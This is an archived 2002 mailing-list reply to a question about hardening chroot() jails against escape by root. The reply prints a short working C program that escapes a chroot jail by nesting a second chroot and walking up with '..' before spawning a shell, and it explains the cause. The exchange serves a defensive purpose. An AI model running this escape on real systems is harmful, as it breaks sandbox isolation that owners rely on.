In article <1025877004.11004.59.camel@zaphod>,
Shaya Potter <spotter@cs.columbia.edu> wrote:
>I'm trying to develop a way to ensure that one can't break out of a
>chroot() jail, even as root. I'm willing to change the way the syscalls
>work (most likely only for a subset of processes, i.e. processes that
>are run in the jail end up getting a marker which is passed down to all
>their children that causes the syscalls to behave differently).
>What should I be aware of? I figure devices (no need to run mknod in
>this jail) and chroot (as per man page), is there any other way of
>breaking the chroot jail (at a syscall level or otherwise)?
int main()
{
chdir("/");
mkdir("foo");
chroot("foo");
chdir("../../../../../../..");
chroot(".");
execl("/bin/sh", "sh", NULL);
}
Run as root and you're out of the chroot jail. This is because
chroot() doesn't chdir() to the new root, so after a chroot() in
the chroot jail you're suddenly out of it.
Mike.
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This archive was generated by hypermail 2b29 : Sun Jul 07 2002 - 22:00:15 EST